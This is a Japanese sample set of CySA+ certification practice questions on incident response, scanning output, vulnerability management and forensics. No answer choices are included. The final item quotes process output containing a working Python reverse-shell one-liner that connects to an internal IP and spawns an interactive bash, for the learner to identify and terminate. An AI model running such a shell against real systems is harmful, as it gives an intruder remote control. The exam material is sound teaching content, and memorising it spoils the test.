CompTIA認定資格 CySA+ 演習問題集 [サンプル版]

セキュリティアナリストが最近チームに参加し、本番環境のスクリプトが悪意のあるものかどうかを判断するために、どのスクリプト言語が使用されているかを特定しようとしています。次のスクリプトが与えられた場合：

powershell
foreach ($user in Get-Content .\this.txt)
{
    Get-ADUser $user -Properties primaryGroupID |select-object primaryGroupID
    Add-ADGroupMember "Domain Users" -Members $user
    Set-ADUser $user -Replace @{primaryGroupID=513}
}

このスクリプトで使用されたスクリプト言語は、次のうちどれですか？

インシデント対応チームが、インターネット停止の調査を開始するためのアラートを受信しました。この停止により、複数の拠点の全ユーザーが外部のSaaSリソースにアクセスできなくなっています。チームは、組織がDDoS攻撃の影響を受けたと判断しました。チームが最初に確認すべきログは次のうちどれですか？

技術者がPCI監査のために一般的なネットワークマッピングツールからの出力を分析しています。

text
PORT STATE SERVICE VERSION
22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)
443/tcp open ssl/http OpenResty web app server
|_http-server-header: openresty
| ssl-enum-ciphers:
| TLSv1.1:
| ciphers:
| TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - F
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - F
| compressors:
| NULL
| cipher preference: server
| warnings:
| Insecure certificate signature (SHA1), score capped at F
| TLSv1.2:
| ciphers:
| TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - F
| TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp256r1) - F
| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (secp256r1) - F
| TLS_RSA_WITH_AES_256_CBC_SHA256 (rsa 2048) - F
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (secp256r1) - F
| TLS_RSA_WITH_AES_256_GCM_SHA384 (rsa 2048) - F
| TLS_RSA_WITH_AES_128_GCM_SHA256 (rsa 2048) - F
| TLS_RSA_WITH_AES_128_CBC_SHA256 (rsa 2048) - F
| TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - F
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - F
| compressors:
| NULL
| cipher preference: server
| warnings:
| Insecure certificate signature (SHA1), score capped at F
|_ least strength: F
MAC Address: MAC ADDRESS(Cisco Systems)
Service Info: OS: IOS; CPE: cpe:/o:cisco:ios
Service detection performed. Please report any incorrect results at <REDACTED>.
<REDACTED> done: 1 IP address (1 host up) scanned in 16.47 seconds

次のうち出力を最も適切に説明しているものはどれですか？

ある企業が脆弱性管理プログラムの実装を進めています。脆弱性特定プロセスによるOT/ICSデバイスの誤動作のリスクを最小限に抑えるために、実装すべきスキャン方法は次のうちどれですか？

SIEMアラート内のIPアドレスが既知の悪意のあるIPアドレスであるかどうかをアナリストが迅速に突き止めるのに役立つものは次のうちどれですか？

セキュリティ管理者が、テスト目的で本番環境からテスト環境にPIIデータレコードをインポートする必要があります。データの機密性を最も適切に保護するものは次のうちどれですか？

ある組織が最近、BCおよびDR計画を変更しました。インシデント対応チームがビジネスに影響を与えることなく変更をテストできるようにする最適な方法は次のうちどれですか？

ある組織が侵害され、すべての従業員のユーザー名とパスワードがオンライン上に流出しました。この状況の影響を軽減できる修復策を最も適切に説明しているものは次のうちどれですか？

サイバーキルチェーンの次のフェーズのうち、エクスプロイトに成功したターゲットとの通信の確立を攻撃者が試みるものはどれですか？

インシデント対応チームが重大なセキュリティインシデントへの対応を完了しました。経営陣はリードアナリストに対し、教訓を含む事後対応レポートを提供するよう求めました。教訓を含める最も可能性の高い理由は次のうちどれですか？

ACME Commercialという企業のセキュリティアナリストは、https://office365password.acme.co に解決されるホストIPへの送信トラフィックがあることに気付きました。このサイトの標準のVPNログオンページは www.acme.com/logon です。次のうち最も可能性が高いものはどれですか？

境界ネットワーク内のWebサーバーのスキャン中に、ポート3389を介して悪用される可能性のある脆弱性が特定されました。WebサーバーはWAFによって保護されています。この脆弱性に関連する全体的なリスクの変化を最も適切に表しているものは次のうちどれですか？

インシデント対応アナリストが最近のマルウェア発生の根本原因を調査しています。初期のバイナリ分析によると、このマルウェアはホストのセキュリティサービスを無効化し、初期ドロッパーの削除、イベントログエントリの削除、ホストからのプリフェッチファイルの削除など、感染ホスト上でクリーンアップルーチンを実行します。根本原因の証拠を明らかにする可能性が最も高いデータソースは次のうちどれですか？2つ選択してください。

ネットワークアナリストは、WAN接続の反対側にある2つのIPアドレス間でポート1433のトラフィックが長時間急増していることに気付きました。最も可能性の高い原因は次のうちどれですか？

セキュリティアナリストが、会社のすべての機能サブネットを含む脆弱性スキャンを準備しました。最初のスキャン中に、ネットワークプリンターが判読不能なテキストやアイコンを含むページの印刷を開始したとユーザーから報告がありました。その後の脆弱性スキャンでこの動作が発生しないようにするために、アナリストが実行すべきことは次のうちどれですか？

給与計算部門の従業員がフィッシング攻撃の標的となり、攻撃者が部門ディレクターになりすまして口座振込先情報を新しい口座に更新するよう要求しました。その後、未承認の口座への振込が実行されました。攻撃の通知を受けた際に、インシデント対応チームが最初に取るべき対応の1つは次のうちどれですか？

サイバーセキュリティアナリストは、組織のデータを分類するためにDLPプロジェクトチームに参加しています。データを分類する主な目的は次のうちどれですか？

ある小規模企業には、給与管理における誤謬や不正を防ぐための職務分掌を効果的に行うのに十分な人員がいません。最高情報セキュリティ責任者はリスクを軽減するためにログと監査証跡を維持およびレビューすることを決定しました。最高情報セキュリティ責任者が実装したものは次のうちどれですか？

組織は自社のクラウドインフラストラクチャがハーデニングされた構成を持つことを確実にしたいと考えています。要件は、安全なテンプレートを使用して展開できるサーバーイメージを作成することです。安全な構成を確保するための最適なリソースは次のうちどれですか？

セキュリティアナリストが特権アカウントからの以下のアクティビティを監視しました。

・メールおよび機密情報へのアクセス
・監査ログの変更
・異常なログイン時間

観察されたアクティビティを最も適切に説明しているものは次のうちどれですか？

ある組織で、PIIが一般に公開される結果となったデータ侵害が発見されました。教訓のレビュー中に、パネルは外部報告の責任者およびタイミング要件に関する食い違いを特定しました。報告の問題に最も適切に対処するアクションは次のうちどれですか？

セキュリティアナリストは、新しいパッチについてインフラストラクチャチームにより迅速に通知できるようにするサーバーパッチ管理ポリシーに取り組んでいます。脆弱性を迅速に修復できるようにするために、インフラストラクチャチームが最も必要とする可能性が高いものは次のうちどれですか？2つ選択してください。

セキュリティアナリストが会社のラップトップでの不審なアクティビティに関するアラートを受け取ります。ログの抜粋は以下のとおりです。

プロセスログ抜粋

次のうち発生した可能性が最も高いものはどれですか？

セキュリティアナリストが時系列で以下のアクティビティを観察しました。

1. 外部ファイアウォールでのプロトコル違反アラート


2. 未承認の内部スキャンアクティビティ


3. 送信ネットワークパフォーマンスの変化



脅威アクターの目標を最も適切に説明しているものは次のうちどれですか？

法廷において最も受け入れられる可能性が高い証拠収集方法は、次のうちどれですか？

インシデントの発生後、セキュリティアナリストは会社のステークホルダーに完全な情報を報告するためにフォレンジック分析を実行する必要があります。この場合におけるフォレンジック分析の目標である可能性が最も高いものは次のうちどれですか？

アナリストは突然ファイアウォールからのデータをエンリッチメントできなくなりました。しかし、他のオープンインテリジェンスフィードは引き続き機能しています。ファイアウォールフィードが停止した最も可能性の高い理由は次のうちどれですか？

侵入分析のダイヤモンドモデルの利点は次のうちどれですか？

アナリストが侵害されたホストからの異常なトラフィックをキャプチャしようとしています。この目的を達成するための最適なツールは次のうちどれですか？2つ選択してください。

セキュリティアナリストは、以下の情報に基づいて修正すべき資産を特定する必要があります。

File Server
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

Web Server
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Mail Server
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Domain Controller:
CVSS:3.1/AV:N/AC:L/PR:R/UI:R/S:U/C:H/I:H/A:H

アナリストが最初に修正すべき資産は次のうちどれですか？

次の選択肢のうち、脆弱性の修復において障害を引き起こす可能性が最も高いものはどれですか？

セキュリティアナリストは、確立されたSLAを満たす脆弱性パッチ適用の段階的な計画を、IT部門が作成するのを支援する必要があります。計画を成功させるための優先順位付けに最も役立つ脆弱性管理の要素は次のうちどれですか？

他のすべての選択肢を評価した後に検討すべきリスク管理上の決定は次のうちどれですか？

調査中に証拠の完全性を確保するため、証拠の取り扱い方法を管理する実務は次のうちどれですか？

セキュリティアナリストは、システム間の不正な通信に関連するインシデントに対応しています。イベントのトリアージ中に、アナリストは次の出力を取得しました。

text
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
python3 5996 comptiasme 0u IPv4 30325 0t0 TCP linux:35308->10.203.10.22:1234 (ESTABLISHED)
bash 5997 comptiasme 0u IPv4 30325 0t0 TCP linux:35308->10.203.10.22:1234 (ESTABLISHED)

UID PID PPID C STIME TTY TIME CMD
comptia+ 4347 4325 1 09:18 ? 00:00:37 /usr/bin/pipewire
comptia+ 5996 5332 0 09:55 pts/0 00:00:00 python3 -c import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.203.10.22",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);
comptia+ 5997 5996 0 09:55 pts/0 00:00:00 /bin/bash -i
comptia+ 6015 5325 0 09:56 pts/1 00:00:00 bash
comptia+ 6169 6015 99 10:01 pts/1 00:00:00 ps -fea
comptia+ 701 6015 99 10:02 pts/1 00:00:00 top

悪意のあるセッションを終了するために、アナリストが使用すべきコマンドは次のうちどれですか？